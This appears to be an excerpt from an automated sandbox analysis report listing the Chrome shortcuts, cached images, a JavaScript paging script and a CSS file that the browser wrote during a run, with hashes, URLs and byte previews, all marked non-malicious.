C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.0095059457472795
Encrypted:	false
SSDEEP:	48:8xUdrTzzsHxidAKZdA14tseh7sFiZUkmgqeh7s7y+BX:8xMDonRy
MD5:	B850E961CA918C25C3D42DE6CA1517CC
SHA1:	F1FCD8B50BC36D40B8958EC885AD474A9AEBB7BD
SHA-256:	98BBDD3BE7DCB1FD84185B2014B09C3C2A090B1FF19CFBD2D4AABB763339E822
SHA-512:	0171F8FA40F43C2D8DFC28B681E5396ECB5616F77F64316318C6005327D90DD98C47E31DC6C8DED6A8D507EA25C5C04317150613F8EB2510B8C7E8FFD4497056
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I;YN.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V;YN.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V;YN.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V;YN............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............).....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Sep 27 02:50:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9932088398234686
Encrypted:	false
SSDEEP:	48:8IbdrTzzmHxidAKZdA1vehDiZUkwqehZy+R:8GD1jy
MD5:	67AC0923643026FA1DF6BFB034CB2C33
SHA1:	84E746F102DF97EFBFD3B6F65BDA6CD518E66B00
SHA-256:	CF8296DAE94682324914B50DEEE278AB1067E11C2530EDE786F8B81FE0231A6C
SHA-512:	DC04003F12A3A896EBB9B1E9013B25519ADA3564466AF50F1895D75139EA9B63155869E8248FD6465FD16DDBF27F7E41B261C7C334262318AD27C3A1B54689B2
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....N.=e....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I;YN.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V;YN.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V;YN.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V;YN............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V;YO............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............).....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Sep 27 02:50:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.983783904828374
Encrypted:	false
SSDEEP:	48:8+drTzzmHxidAKZdA1hehBiZUk1W1qeh/y+C:8aDl9fy
MD5:	53133B38B0FAD27E9EECD08FAABAD203
SHA1:	726233011AAC8BAE69E3DE45322F8F2F82E09952
SHA-256:	7DBB9BEF8AD5E5B1773018E1A84DAE1CD4F177A0BAAA4E56171785F7EC807AA0
SHA-512:	29F1C663CCF2953EEA6B8BB9B151C126E5A0FEFF08C9BD1C9028AE34AE5B0E34D2E2FE0B9F8D918D4261B56EF0CC2B6156C7FD2F99C79C1C9372CDE3DC6A0739
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......Ge....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I;YN.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V;YN.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V;YN.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V;YN............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V;YO............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............).....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Sep 27 02:50:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.991708543897672
Encrypted:	false
SSDEEP:	48:8IdrTzzmHxidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbRy+yT+:8QD5T/TbxWOvTbRy7T
MD5:	1DD82748B8C1320CAE49279EBC14996C
SHA1:	0B40ABF4DA68EE0EBF632CAF1DE9BD650F706B3B
SHA-256:	87E3CB04B3392026349B1553BAE6A0022E6D167199850FA59F3C4A1449CCD9F9
SHA-512:	C030D0E1F69361E88E8269E7AF0AEE5B34A67E86F2A470902FACF57913BAA655AB0FFC0FAA69139C742CC39747E473CBFAE61517DC3A6B612A6ED48CFEA512DB
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......5e....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I;YN.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V;YN.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V;YN.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V;YN............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V;YO............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............).....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:H+uZYn:euZYn
MD5:	46DF3E5E2D15256CA16616EBFDA5427F
SHA1:	BE8F9B307E458075DA0D43585A05F1D451469182
SHA-256:	AF3248D0B278571EFF9A22F8ED1CEB54B70D202B44FD70ECA4CA13A5771CECC3
SHA-512:	88FBCC0A92317A0BADE7D4B72C023A16792F3728443075BF4B1767C8A55258836B54D56B24EABE36AE4EF240F796B58B8F1EA10C7E3C146BDE89882FC9ADE302
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAmB-S6Qg28saBIFDZFhlU4=?alt=proto
Preview:	CgkKBw2RYZVOGgA=

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 112 x 112, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2094
Entropy (8bit):	7.372405610092804
Encrypted:	false
SSDEEP:	24:h1hfvWwjx82lY2T3JVEo6I7DyJ3VSoPKEGS1l4zS/tw5T9kUVKn0VVdvVuJknZNl:PANn2Nd6J3LbqzKtKKxU7Ckzi7mxQi
MD5:	C4DE4402BE49E72171B2E863F1B3DB6D
SHA1:	96BC4EDE464829BFE8CB68EEB5FBFED7789023AC
SHA-256:	36A56D2BC6E2B3B59D669C53D5B2DBA1BDD1EA380461D8873C293DF5F2F0177A
SHA-512:	EEFD9226A4E3727D0C918B46C6CA5436559DD9A79E66E88D858C1FA14132AEE906DF06E26CADD0EE97EC3B35E1440A9B9A98D06AF9F5B4CF2C1E6E0FC1CFC2EE
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/img2.png
Preview:	.PNG........IHDR...p...p........K....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)" xmpMM:InstanceID="xmp.iid:7E5E899CC20A11ED8767DF8B0C373189" xmpMM:DocumentID="xmp.did:7E5E899DC20A11ED8767DF8B0C373189"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7E5E899AC20A11ED8767DF8B0C373189" stRef:documentID="xmp.did:7E5E899BC20A11ED8767DF8B0C373189"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>tj.R....IDATx..Oh.G...5.FiK@.-%...=....,.l.Tk(..j....)'!.l..."....z.I(m-..D<x1.TT..j..I^.C~K~n.....v../\|.lv3.

Chrome Cache Entry: 146

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 750x1200, components 3
Category:	dropped
Size (bytes):	475127
Entropy (8bit):	7.987559263655837
Encrypted:	false
SSDEEP:	12288:bUbwE8UBQIIrsPrbN4P/sDr6y7wVZFcQd6hoDPl/Y2v:2EI8sDp4P/Sr6XFcdy
MD5:	A830C54988FFE93D628048CADA2E7B48
SHA1:	67D53C51F68B619568A5CBB749C9E0D46532F33B
SHA-256:	F32E8DED1B1C580B3ED12A07513754C57B7997DB9C706834DFB1B1F985B26CF5
SHA-512:	F0E38080C6604A2710A1896C32CC921920F9105BCA2A7222932396AA7D732B5B087175617B29CB66A6709E78747E1953D8D8C969A99A5DB801B8E739A46A23FA
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......P.....~http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:37217047-b8a5-4e2f-a1ee-3a4aa0a2cc99" xmpMM:DocumentID="xmp.did:840639E8DCE811EDA152EDE9B70BB693" xmpMM:InstanceID="xmp.iid:840639E7DCE811EDA152EDE9B70BB693" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:499917fb-7cd8-41b8-9337-fe4801de8e91" stRef:documentID="xmp.did:37217047-b8a5-4e2f-a1ee-3a4aa0a2cc99"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d........C.....................................

Chrome Cache Entry: 147

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 225 x 225, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	11670
Entropy (8bit):	7.946065098224346
Encrypted:	false
SSDEEP:	192:tCPrdLYVJ4GxwWjaJW/R2S/9DsNLORkwtMdRSumUh0hQdpJlatwHK5KJQZpv:awNYc/z/BRt+QFUhcqQKHGKeZR
MD5:	865B8AFC5077ADC928EDD83AE9A5BBF6
SHA1:	B9FD009D09032A459AF49A320BFCF7AA1B090394
SHA-256:	FC3799489B4370AF05323869B631F2593063B30ABA4E8CD90B8F0C198B97F392
SHA-512:	DC9724B82BC38A9A4527B71F1A8E2B969FAC84CBA9CC84AEC009B2A8D1A130CDBBE1C1F70F688BEE671158D818A454B1EAD58889948990316A1EA55F98634B9B
Malicious:	false
Reputation:	low
URL:	https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/05/30/image_1685441425_t028G50I.png
Preview:	.PNG........IHDR...............E-....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)" xmpMM:InstanceID="xmp.iid:385E99C7FED411ED9B5A9ED9451F29FD" xmpMM:DocumentID="xmp.did:385E99C8FED411ED9B5A9ED9451F29FD"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:385E99C5FED411ED9B5A9ED9451F29FD" stRef:documentID="xmp.did:385E99C6FED411ED9B5A9ED9451F29FD"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>. '...*.IDATx..I........gVe.."..K......5.dx<......c.._d.6`.0>.b..}..'....u..g...F..4.ju.%v.[.p/.E.{fd....%"3.X

Chrome Cache Entry: 148

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1000 x 200
Category:	downloaded
Size (bytes):	88320
Entropy (8bit):	7.98563360228417
Encrypted:	false
SSDEEP:	1536:VEjG3hLIRIrQLyVViQlNzCFsoVcU2QJRiEtgJcYHw02WUryjeNPWY:2SUaQLyV/TzCFPSU2QJRijU5r28PWY
MD5:	D03CD26D74296657FE5035F3920849B8
SHA1:	9BE05D96796FA7F44616C5223BDF287B2DF8DFCB
SHA-256:	9314C2CB13CF470C9E1776355A6F03674A374C2FF566F02ECDDE4BE513477085
SHA-512:	52A7933EDDE4FDA558F5BB3504814515860DB3E96205E56A3C5056E53385B0A909BC5AD2812C2E58A1FAD1D92DD5E2603210847D7881AAEE9D82C5C9E8230758
Malicious:	false
Reputation:	low
URL:	https://www.zhspay.com/zhuye/img/xpj2021.gif
Preview:	GIF89a.........r..........)3#......m.H.....Z...'.L................RSJ(.X...s....C).-...........FSqnnTJLE'.LE.S6X.4lJ-...Zb.#...4J.l..M..d... ......x..[.F3.5&".nK..g.'-D.%E(#..I...{01.H.....E%U.q35..G3%jTO.rHz.......F85.h.......B%H.c.q..o..e.....tu..lT3%.....QU.cr.......G.phLS53k5%%".6"9F2U....rkS4..N...Gud1.l...u..n..RKj...W.754.}T..k_C_..c..P.l..yo.E$5.......... ..........w..Kw4.......'...WlN.U%..Mg71"...P!&...G2GS4G..uo.....).....{%$5.9.....b..~3?.=.S...IIl~/G..\|.Z... 3:... ..O)Z...S&2...-&]_eg@#.\9cN)D.}!.U......;>7...........?y\|{......O.(2&.T....[7......W[Y..W"....;.....6...]..b...H@M.YZ*..n.........................4[.......81.......P8./-......OE.........ppPR.....(.q.....x.....up..5..5.jO.HN.Ia.V3.QL.E6../..4.h..V..[_. ...)%......!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="ht

Chrome Cache Entry: 149

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	5668
Entropy (8bit):	5.178128406961054
Encrypted:	false
SSDEEP:	96:Kmotx14AwuuGyw2GywujWM3ZShrBenX+/crlKZWMVFQDQvLdmhmj2+2RS3uoSX7Z:TotHuGwGkjWMJy6DKZWoFQDmLdmhmS0a
MD5:	5FC45B81932F5DD1A3E903AF29D94FF2
SHA1:	4004360CD2FD8A34C307FDB1EB930B52594953C7
SHA-256:	D0FB28A26FAB57AA2A20AACC0E7273E370D874DD0F2F90421C39E71F0B4AAC62
SHA-512:	2A0E889694603BE6F09F7D18CD8A2827271E40FACE7C0B01ABDE03BA887F35241D85F4F17A107BEBE04580C3F292810CCCDF1461263D9233AB3CF4AAC5CF9C80
Malicious:	false
Reputation:	low
Preview:	var Paging = (function() {..function Paging(elementName, options) {...this.elementName = elementName;...this.options = options;...options.nowPage = options.nowPage >= 1 ? options.nowPage : 1;...options.pageNum = options.pageNum > 0 ? options.pageNum : 0;...options.canJump = options.canJump \|\| 0;...options.showOne = options.showOne \|\| 0;...options.buttonNum = (options.buttonNum >= 5 ? options.buttonNum : 5) \|\| 7;...this.nowPage = options.nowPage > options.pageNum ? options.pageNum : options.nowPage;...this.pageNum = options.pageNum < 0 ? 0 : options.pageNum;...this.canJump = options.canJump;...this.showOne = options.showOne;...this.buttonNum = options.buttonNum;...this.callback = options.callback;...this.element = document.getElementById(elementName);...this.init();..}..Paging.prototype.init = function() {...this.createHtml();..};..Paging.prototype.createHtml = function() {...var _this = this;...var content = [];...if (this.pageNum <= 0) {....return '';...}...if (!this.showOne && this.p

Chrome Cache Entry: 150

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (16213), with no line terminators
Category:	downloaded
Size (bytes):	16213
Entropy (8bit):	5.199031686779536
Encrypted:	false
SSDEEP:	192:0mUJbiKneTT4bHZ+SKbnxup/a2AMQfHff71eesedOJ9A5Pz+c3At2/6:1UbeTMbHZ+Vnh2AVfHfA4XYz
MD5:	73F7830EA9E0FB84D55134ED4F1395BA
SHA1:	FBA70E345E443B85DD8948433F4AFBD2630DF621
SHA-256:	4B7E38F1ABCFD705C15D30A119808B16D780B0A80AF8A387C2D0E9336D10F74C
SHA-512:	83C292F655EF783E6A549BD2EDC21EFEFAC147F03B9C7082176472805965D7F9F1A39F124A9EEE0104BA2567F3E655A4F15CE680E334DAD31D02049AA2A82E6F
Malicious:	false
Reputation:	low
URL:	https://www.hbyczyz.com/resources/assets/lib/style/swiper-bundle.min.css?v=0.574
Preview:	@font-face{font-family:swiper-icons;src:url('data:application/font-woff;charset=utf-8;base64, d09GRgABAAAAAAZgABAAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABGRlRNAAAGRAAAABoAAAAci6qHkUdERUYAAAWgAAAAIwAAACQAYABXR1BPUwAABhQAAAAuAAAANuAY7+xHU1VCAAAFxAAAAFAAAABm2fPczU9TLzIAAAHcAAAASgAAAGBP9V5RY21hcAAAAkQAAACIAAABYt6F0cBjdnQgAAACzAAAAAQAAAAEABEBRGdhc3AAAAWYAAAACAAAAAj//wADZ2x5ZgAAAywAAADMAAAD2MHtryVoZWFkAAABbAAAADAAAAA2E2+eoWhoZWEAAAGcAAAAHwAAACQC9gDzaG10eAAAAigAAAAZAAAArgJkABFsb2NhAAAC0AAAAFoAAABaFQAUGG1heHAAAAG8AAAAHwAAACAAcABAbmFtZQAAA/gAAAE5AAACXvFdBwlwb3N0AAAFNAAAAGIAAACE5s74hXjaY2BkYGAAYpf5Hu/j+W2+MnAzMYDAzaX6QjD6/4//Bxj5GA8AuRwMYGkAPywL13jaY2BkYGA88P8Agx4j+/8fQDYfA1AEBWgDAIB2BOoAeNpjYGRgYNBh4GdgYgABEMnIABJzYNADCQAACWgAsQB42mNgYfzCOIGBlYGB0YcxjYGBwR1Kf2WQZGhhYGBiYGVmgAFGBiQQkOaawtDAoMBQxXjg/wEGPcYDDA4wNUA2CCgwsAAAO4EL6gAAeNpj2M0gyAACqxgGNWBkZ2D4/wMA+xkDdgAAAHjaY2BgYGaAYBkGRgYQiAHyGMF8FgYHIM3DwMHABGQrMOgyWDLEM1T9/w8UBfEMgLzE////P/5//f/V/xv+r4eaAAeMbAxwIUYmIMHEgKYAYjUcsDAwsLKxc3BycfPw8jEQA/

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 63 x 63, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4083
Entropy (8bit):	7.8014253145974015
Encrypted:	false
SSDEEP:	96:cmekTWW+g214tT+B2W0RvRrul0ariuBbZ/QZliBzb4pTz:NeI41sT+ifrul0aNd/QiwTz
MD5:	E741245E714A3F582AC323F8B6E796CE
SHA1:	1EA34318D7895AB3DB20242B751492FDE0B9AC91
SHA-256:	2AF2C86D8A11464C2027FC122A4E8BF4AE9828168A428A724B0CF29DCAD4A05B
SHA-512:	94E2726F2D697B60FFC22AF450692312B662D230A8FB26F7659E8150FA7C4A3E72B8ECD55F312A26ECDEFA237B9E4BFA11D35DB4BBF78B7D1E7BA9E9E93B97D2
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...?...?.....W_......tEXtSoftware.Adobe ImageReadyq.e<...niTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:F192E643C21011EDA718A96A79BB1567" xmpMM:DocumentID="xmp.did:B26AD65BCA0911EDB48D8CE731E080DE" xmpMM:InstanceID="xmp.iid:B26AD65ACA0911EDB48D8CE731E080DE" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:36e43f5c-4351-e240-9957-eac2528f1b5e" stRef:documentID="xmp.did:F192E643C21011EDA718A96A79BB1567"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..w.....IDATx....UU......#iD.*..JDi5"..$..

Chrome Cache Entry: 152

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 120x120, segment length 16, progressive, precision 8, 500x501, components 3
Category:	downloaded
Size (bytes):	27690
Entropy (8bit):	7.973487573555612
Encrypted:	false
SSDEEP:	768:sSdgKAMc7qVk7AyP3L+EfpsciLdVnaU7I:sZKAMY7/3LTQLLnaUE
MD5:	6C052F48D9EE0AD9E69AF83626EE0F79
SHA1:	F1C8ACD90B522DAE313E4ED53DB61B35918872D5
SHA-256:	AD08BAE2BE520B52E2227BA9AAF49A15A44DE89913FA22B57C802B4DEFA750D8
SHA-512:	F7B0ABC8C6AD045F406351DEEB1A3AE33C36794B5E6FE6AE6793319ACA7799426FCEE5D3C95F5E4CC77B11C35739BB14947C8BE70BE633435215B121129514F1
Malicious:	false
Reputation:	low
URL:	https://www.hbyczyz.com/favicon.ico
Preview:	......JFIF.....x.x..................................................#....#)" ")1,,1>;>QQm............................................#....#)" ")1,,1>;>QQm..........."..........6....................................................................I. ..B.....mr.r@.....P.E...dj.P.."......7..l...!.2.@P...u.....L....Pe.......#O.Z....[....e.D..6D .....Ll...]k#'.....0...\..T...r-..@.'......\y1#d.f../_.t6.hP..k,. I`P..+...-.....x..C.d...'C.A.............uuo...5M8.]?'..7TU...[.\|M...."........\|z..B.gk.r.`.i.bo.....W:.l.5....cF.i].T......c..t...+.lJX......C..f.'.+...+...\.X.............\|..q..`k..R(m...".T\...y&...;..../....xl...}&.^OF}.........)...e.N..FfO;.......u{].^....\...=.^.!..L..WU....i..h....g....'...V(.%..]>...t... .'.k.Im.u..L.Ez.I....Q6...e&r...vz.xN]..Q..p.8Fa.....tX.%..ty[.3.<....X..7....T.7.w.j..3e.k...xo0.`.......V(..`...OW.ly..M..P.]u.Se.../...%.Q....[o#..^..uP&.U./Y!..h.m../..R<.].>...G..9K3.{M..y.=v.eT.0......N8).q]Tf...)=i....O.....@.......

Chrome Cache Entry: 153

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 300x300, components 3
Category:	downloaded
Size (bytes):	53833
Entropy (8bit):	7.978801914887791
Encrypted:	false
SSDEEP:	1536:zaWm2kzJ5Fci3RsW9wk7nLqqfkq4dZZR2RX:zaWmfbFxRsEwk7Lq4kq4RYRX
MD5:	09BC360A0EB088873CB0B32DE9FC7BCB
SHA1:	2287F40E4C98E013DFF81548000B1EA90493E6DF
SHA-256:	3DCC9D052ACBCBEF6687F9B7CABDF402BD1D3B91E4ABBDFA333143EC7425B0C2
SHA-512:	FA99B0F5AAF6076F2B11A2F8FE4D6EB4F705CCC960626C4D6B10F880256A9C16530A7F97ABDB204BF439A6137EAE9B732A7490EE92510AD0723DEC729DD2C863
Malicious:	false
Reputation:	low
URL:	https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/03/29/image_1680077839_kq8Vu7xF.jpg
